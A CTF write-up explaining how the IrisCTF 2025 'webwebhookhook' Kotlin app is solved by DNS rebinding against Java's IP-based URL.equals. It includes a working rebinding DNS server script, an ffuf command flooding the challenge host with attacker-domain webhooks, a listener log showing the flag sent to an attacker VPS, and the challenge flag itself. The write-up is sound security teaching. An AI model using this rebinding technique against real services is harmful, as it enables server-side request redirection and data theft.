While playing IrisCTF 2025 with team Superflat, I spent most of my time on the webwebhookhook challenge. It was the hardest of the Web Exploitation category with a total of 16 solves in the end.
This challenge was interesting to me because it written in Kotlin, a language built on Java. I often gave up quickly when seeing anything related to Java because I'm always annoyed by the verbosity and complexity of anything written in it. I can't keep skipping it forever, though, so this was a good opportunity to get to know it better once and for all.
The Challenge
As with most CTF challenges, we get full access to the source code and a simple Docker setup to test things locally. There are not many files:
├── Dockerfile
└── src/main/
├── kotlin/tf/irisc/chal/webwebhookhook/
│ ├── State.kt
│ ├── WebwebhookhookApplication.kt
│ └── controller/
│ └── MainController.kt
└── resources/
├── application.properties
└── static/
└── home.html
The application's main()
function is defined in WebwebhookhookApplication.kt
:
package tf.irisc.chal.webwebhookhook
import org.springframework.boot.autoconfigure.SpringBootApplication
import org.springframework.boot.runApplication
@SpringBootApplication
class WebwebhookhookApplication
const val FLAG = "irisctf{test_flag}";
fun main(args: Array<String>) {
State.arr.add(StateType(
"http://example.com/admin",
"{\"data\": _DATA_, \"flag\": \"" + FLAG + "\"}",
"{\"response\": \"ok\"}"))
runApplication<WebwebhookhookApplication>(*args)
}
This tells us there is some global State.arr
variable that it mutated. This type is defined in State.kt
:
package tf.irisc.chal.webwebhookhook
import java.net.URI
import java.net.URL
class StateType(
hook: String,
var template: String,
var response: String
) {
var hook: URL = URI.create(hook).toURL()
}
object State {
var arr = ArrayList<StateType>()
}
In Kotlin, the above syntax for StateType(...)
defined its constructor, taking 3 arguments. Two of which start with var
meaning they are automatically turned into properties. The last hook
variable is not yet a property, but the constructor body creates a var hook
property of type URL
by parsing the string.
So the main function creates a StateType
with a hook of http://example.com/admin, a template containing _DATA_
and the flag, and lastly a simple "ok" response. Then, it calls the runApplication()
function from Spring which is a common web framework for Java. This implicitly runs the whole application based on the remaining folders in the source code.
controller/
contains the MainController
class which has an @Controller
annotation, indicating that it can handle requests. Its source code is the main logic of the application that we can interact with:
package tf.irisc.chal.webwebhookhook.controller
import org.springframework.http.MediaType
import org.springframework.stereotype.Controller
import org.springframework.ui.Model
import org.springframework.web.bind.annotation.*
import tf.irisc.chal.webwebhookhook.State
import tf.irisc.chal.webwebhookhook.StateType
import java.net.HttpURLConnection
import java.net.URI
@Controller
class MainController {
@GetMapping("/")
fun home(model: Model): String {
return "home.html"
}
@PostMapping("/webhook")
@ResponseBody
fun webhook(@RequestParam("hook") hook_str: String, @RequestBody body: String, @RequestHeader("Content-Type") contentType: String, model: Model): String {
var hook = URI.create(hook_str).toURL();
for (h in State.arr) {
if(h.hook == hook) {
var newBody = h.template.replace("_DATA_", body);
var conn = hook.openConnection() as? HttpURLConnection;
if(conn === null) break;
conn.requestMethod = "POST";
conn.doOutput = true;
conn.setFixedLengthStreamingMode(newBody.length);
conn.setRequestProperty("Content-Type", contentType);
conn.connect()
conn.outputStream.use { os ->
os.write(newBody.toByteArray())
}
return h.response
}
}
return "{\"result\": \"fail\"}"
}
@PostMapping("/create", consumes = [MediaType.APPLICATION_JSON_VALUE])
@ResponseBody
fun create(@RequestBody body: StateType): String {
for(h in State.arr) {
if(body.hook == h.hook)
return "{\"result\": \"fail\"}"
}
State.arr.add(body)
return "{\"result\": \"ok\"}"
}
}
The @...Mapping()
annotations show endpoints we can hit. @GetMapping("/")
simply returns a path to the template it should respond with. The two @PostMapping
s are more interesting. The simple /create
endpoint takes a body
parameter annotated with @RequestBody
, meaning it is taken from the POST body we provide in the request. It is also set to the StateType
type causing it to automatically deserialize the body into the properties of that type. As you mean remember, these should be hook
, template
, and response
. The consumes = [MediaType.APPLICATION_JSON_VALUE]
even forces this format to be JSON, so we can add a webhook to the list by sending the following payload:
{
"hook": "https://example.com",
"template": "Something containing _DATA_",
"response": "Everything is OK"
}
It will loop through the State.arr
, looking for any existing webhooks where the .hook
is the same. If it doesn't exist yet, it is added to the list.
Lastly, we can hit the /webhook
endpoint which seems the most interesting. It has a few different inputs:
@RequestParam("hook") hook_str: String
is a query parameter?hook=
@RequestBody body: String
is the raw POST request body as a string@RequestHeader("Content-Type") contentType: String
is theContent-Type
header's value of our request
The first step is creating a URL from our hook_str
, and again looping through the list until it finds a matching .hook
. When it does, the template's _DATA_
is replaced with our request body, and a connection to the hook URL is made. The Content-Type
header is copied from our request, and the filled template is streamed as the request body. Finally, the preconfigured response is returned.
This is interesting for sure, by creating a webhook and triggering it, we can already make the application send a POST request with an arbitrary body and content type to any URL. But in a Capture The Flag event we're looking for the flag, stored in the State.arr
list.
We can easily trigger the flag's webhook by requesting /webhook?hook=http://example.com/admin
, matching the hook. But this will only make a connection to http://example.com/admin and send it the filled template. The template contains the flag which is interesting, so the flag will be sent to example.com
in this case. However, I'm not the owner of that website so that doesn't benefit me much.
What is equals?
One idea that quickly came to mind was if we could confuse the application into matching the flag's webhook, but send it to our host. Following the code, the logic is in our favor:
- Parse
?hook=
into aURL
- Take the flag's
.hook
- If they are equal (with
==
)... - Send the flag to our input URL (the
hook
variable)
The ==
operator is really the thing that stops us from setting it to our host. A parser differential may be unlikely because our string is already parsed before being compared, but it's good to have a look at the implementation anyway. One thing I remembered from Java was that the ==
operator was sometimes bad to use on Objects because it actually compares their memory addresses instead of the content by default.
However, it turns out that Kotlin solved this problem by implicitly calling the .equals()
method instead, which is likely to contain a sensible implementation.
IntelliJ is by far the best Java/Kotlin editor, far better than Visual Studio Code. Its main benefit to hackers is that you can follow the code really well by Ctrl+Clicking on anything. After opening the project in IntelliJ IDEA and letting it index the files, we can Ctrl+Click on the ==
operator that we are interested in. This brings us straight to the implementation and we can keep clicking deeper to understand the full logic:
// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URL.java#L976-L981
public boolean equals(Object obj) {
if (!(obj instanceof URL u2))
return false;
return handler.equals(this, u2);
}
// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L351-L353
protected boolean equals(URL u1, URL u2) {
return Objects.equals(u1.getRef(), u2.getRef()) && sameFile(u1, u2);
}
// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L411-L435
protected boolean sameFile(URL u1, URL u2) {
// Compare the protocols.
if (!((u1.getProtocol() == u2.getProtocol()) ||
(u1.getProtocol() != null &&
u1.getProtocol().equalsIgnoreCase(u2.getProtocol()))))
return false;
// Compare the files.
if (!(u1.getFile() == u2.getFile() ||
(u1.getFile() != null && u1.getFile().equals(u2.getFile()))))
return false;
// Compare the ports.
int port1, port2;
port1 = (u1.getPort() != -1) ? u1.getPort() : u1.handler.getDefaultPort();
port2 = (u2.getPort() != -1) ? u2.getPort() : u2.handler.getDefaultPort();
if (port1 != port2)
return false;
// Compare the hosts.
if (!hostsEqual(u1, u2))
return false;
return true;
}
We can see that it checks the URLs part by part. First, the ref
(hash) of the URL, then the protocol, the file path, the ports, and finally the hosts. We can match all of these with our server except for the hosts, so let's check out the hostsEqual()
function:
// https://github.com/openjdk/jdk/blob/dfacda488bfbe2e11e8d607a6d08527710286982/src/java.base/share/classes/java/net/URLStreamHandler.java#L458-L469
protected boolean hostsEqual(URL u1, URL u2) {
InetAddress a1 = getHostAddress(u1);
InetAddress a2 = getHostAddress(u2);
// if we have internet address for both, compare them
if (a1 != null && a2 != null) {
return a1.equals(a2);
// else, if both have host names, compare them
} else if (u1.getHost() != null && u2.getHost() != null)
return u1.getHost().equalsIgnoreCase(u2.getHost());
else
return u1.getHost() == null && u2.getHost() == null;
}
So... it turns the URLs into InetAddress
objects, which are IP addresses. The getHostAddress
function resolves the domain names to IP addresses using a DNS lookup, then if both URLs could be resolved, the IPs are compared (with a1.equals(a2)
) instead of the names as strings!
Interestingly, IntelliJ IDEA even warns about this weird behavior back in the original source code:
It means that in theory, any two domains pointing to the same IP will be seen as the same host by ==
. We can make our domain point to example.com's IP (93.184.215.14), then input our domain and it will try to send the flag to our domain.
But at this point, it still won't send the flag to us but to the IP of example.com, not in our control. This is getting more suspicious though.
DNS Rebinding
There's this relatively well-known technique in Web Exploitation called "DNS Rebinding". The idea is that DNS records can be changed, and if you do this right in between two DNS lookups, the two results may differ. This is more generally known as a "TOCTOU" bug where the Time Of Check finds a safe value and lets the program go through, while Time Of Use finds a different changed value that may be a dangerous payload.
You may know that DNS has root servers, but sometimes also dedicated servers handling only a single domain. Using an NS
record on your domain, you can tell the DNS infrastructure what server should handle any DNS queries relating to that domain. You can point this to your own server and host a simple DNS server on port 53 to give arbitrary responses to DNS queries. With this, it becomes easy to quickly change DNS answers without having to wait for the whole world to synchronize.
Let's build a simple proof-of-concept. Imagine we own a domain called attacker.com
and have access to a VPS with a public IP, we should set two DNS records on it:
- An
A
record with any name pointing to the VPS's IP (eg.vps
pointing to1.3.3.7
) - An
NS
record with the name being the suffix you want to control, pointing to the full domain name where you created theA
record (eg.dns
pointing tovps.attacker.com
)
Now, any query to *.dns.attacker.com
will be asked to 1.3.3.7
. Using dnslib
in Python it is easy to set up a custom DNS server that does exactly what we want. The following just responds to any request with "1.2.3.4":
import dnslib.server
import dnslib
class DNSResolver:
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname)[:-1]
ip = "1.2.3.4"
print(qname, "->", ip)
reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A,
rdata=dnslib.A(ip), ttl=1))
return reply
resolver = DNSResolver()
logger = dnslib.server.DNSLogger("-request,-reply")
server = dnslib.server.DNSServer(resolver, port=53, address="", logger=logger)
server.start_thread()
try:
input("Press enter to exit...\n")
finally:
server.stop()
If we run this on the attacker's 1.3.3.7 server and then request anything.dns.attacker.com
, we receive a 1.2.3.4 response and see it logged in the DNS server:
$ dig A anything.dns.attacker.com
;; QUESTION SECTION:
;anything.dns.attacker.com. IN A
;; ANSWER SECTION:
anything.dns.attacker.com. 1 IN A 1.2.3.4
Normally in a DNS Rebinding attack, one would now set the Time To Live (TTL) of the answer to be as low as possible (see ttl=1
in the server). This tells the client to request it again and not try to cache it locally for too long. This is important because our original goal was to perform a Race Condition that causes the check to see one address, while the use sees another. In the code, this is only a tiny fraction so we can't have it cache the response for a few minutes, then we wouldn't be able to change it.
if(h.hook == hook) {
// <-- Race window starts here (1st DNS lookup from `==`)
var newBody = h.template.replace("_DATA_", body);
// <-- Race window ends here (2nd DNS lookup from making TCP connection)
var conn = hook.openConnection() as? HttpURLConnection;
The idea for our attack to solve the challenge is as follows:
- We send the server
http://test.dns.attacker.com/admin
to request - While looping through the stored hooks, the
==
operator will resolve the address ofexample.com
andtest.dns.attacker.com
. We will return 93.184.215.14 to matchexample.com
's IP - The server will hit the
hook.openConnection()
line and set up a new connection to the URL, resolving thetest.dns.attacker.com
domain name once again. Hopefully, due to the low TTL in our first response, it won't get the IP from its cache and instead request it from our DNS server a second time. - This time, we will return our VPS's IP (eg. 1.3.3.7) instead of the one from
example.com
. This causes the running request handler to send the flag to our VPS instead of http://example.com
When testing this idea it is good to add some Thread.sleep(ms)
calls in between the race window to add a bit more time and ensure that you can hit the timing, instead of relying on luck. If we now call the /webhook
endpoint a few times with the test.dns.attacker.com
domain, we surprisingly find that it only works once, and then never sends any DNS request anymore. After ~30 seconds, it works again and then immediately stops requesting again. It appears that Java ignores our low TTL and instead decides to always cache our DNS responses for 30 seconds.
The time between ==
and .openConnection()
is very small. While we can maybe add some time by making the body
large and delaying the replace()
call, we won't get anywhere near 30 seconds without way too large of a body to be able to send.
Cache Invalidation
The trick is that the DNS cache needs to be revalidated at some point. The server can't keep believing the same IP address forever, that would be bad if the IP legitimately changed. That means in theory, if the cache invalidation happens right in between our race window, the 2nd DNS lookup will not be in the cache anymore and we can return a different 2nd response.
This may seem difficult as it is hard to time the 2nd request to a millisecond level. But if we think about what happens if we send a request too early, it would just grab the IP from the cache again and request http://example.com. The cache will still invalidate and if we just have any of our requests fall into the tiny window, we'll receive the flag. That means we can just keep spamming the URL until the cache expires and a new DNS request is sent to our server. Then we respond with the IP changed to our VPS.
We will still have 1 chance every 30 seconds to hit it, one small improvement is to simply do this simultaneously with a few different domains all under our control (eg. attack1.dns.attacker.com
, attack2.dns.attacker.com
, etc.). The cache will expire for all of them separately so we have more chances for every 30-second interval.
Final Solution
We now have everything we need to solve this challenge. First, we'll expand the custom DNS server to respond with alternating IP addresses for each request:
import dnslib.server
import dnslib
from time import time
# example.com VPS
IPS = ["93.184.215.14", "1.3.3.7"]
# Each requested domain has its own alternating counter
domains = {}
def next_ip(qname):
if qname not in domains:
domains[qname] = {
"index": 0,
"last": time()
}
domain = domains[qname]
# Some resolvers like to request it multiple times, throwing off any counting mechanism
# So, we count all requests within 5 seconds as 1 increment
if time() - domain["last"] > 5:
domain["index"] += 1
domain["index"] %= len(IPS)
domain["last"] = time()
return IPS[domain["index"]]
class DNSResolver:
def resolve(self, request, handler):
reply = request.reply()
qname = str(request.q.qname)[:-1]
ip = next_ip(qname)
print(qname, "->", ip)
reply.add_answer(dnslib.RR(qname, dnslib.QTYPE.A,
rdata=dnslib.A(ip), ttl=0))
return reply
resolver = DNSResolver()
logger = dnslib.server.DNSLogger("-request,-reply")
server = dnslib.server.DNSServer(resolver, port=53, address="", logger=logger)
server.start_thread()
try:
input("Press enter to exit...\n")
finally:
server.stop()
This will be running on the server pointed to by the NS
record for dns.attacker.com
. Then, we will use FFUF as a fast requester to continuously spam the target with webhooks to attack*.dns.attacker.com
URLs, matching the /admin
path of http://example.com/admin:
ffuf -u 'https://webwebhookhook.i.chal.irisc.tf/webhook?hook=http://attackFUZZ.dns.attacker.com/admin' \
-X POST -H 'Content-Type: application/json' -d '{}' -w <(yes "$(seq 1 5)" | head -n 100000) -mr ok
Note: The
<(yes "$(seq 1 5)" | head -n 100000)
syntax is Process Substitution in Bash that will be replaced with a temporary file path for the output of the command inside.yes
is a simple command that repeats its argument infinitely, which is a list from 1-5 to generate 5 unique domains. This is limited by 100.000 lines to allow ffuf to load it all.
While running it, we instantly get 5 DNS requests that we resolve to example.com
to match the ==
condition. Soon thereafter the cache of the remote target expires, and because we keep spamming requests, the same domains are requested again. Now, our server responds with our VPS's IP (1.3.3.7):
$ sudo python3 dns-server.py
attack4.dns.attacker.com -> 93.184.215.14
attack5.dns.attacker.com -> 93.184.215.14
attack2.dns.attacker.com -> 93.184.215.14
attack3.dns.attacker.com -> 93.184.215.14
attack1.dns.attacker.com -> 93.184.215.14
attack1.dns.attacker.com -> 93.184.215.14
... 30 seconds later
attack4.dns.attacker.com -> 1.3.3.7
attack5.dns.attacker.com -> 1.3.3.7
attack2.dns.attacker.com -> 1.3.3.7
attack3.dns.attacker.com -> 1.3.3.7
attack1.dns.attacker.com -> 1.3.3.7
After a few iterations of this, we get lucky and one of the domains managed to thread the needle. The cache expired right after the ==
check, causing the .openConnection()
to request it again and receive our VPS's address, causing the flag to be sent to our server:
$ nc -lnvp 80
Connection received on 127.0.0.1 51006
POST / HTTP/1.0
Host: attack1.dns.attacker.com
Connection: close
Content-Length: 50
Content-Type: application/json
User-Agent: Java/17.0.10
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
{"data": {}, "flag": "irisctf{url_equals_rebind}"}
Here we received the flag intended for example.com
!
irisctf{url_equals_rebind}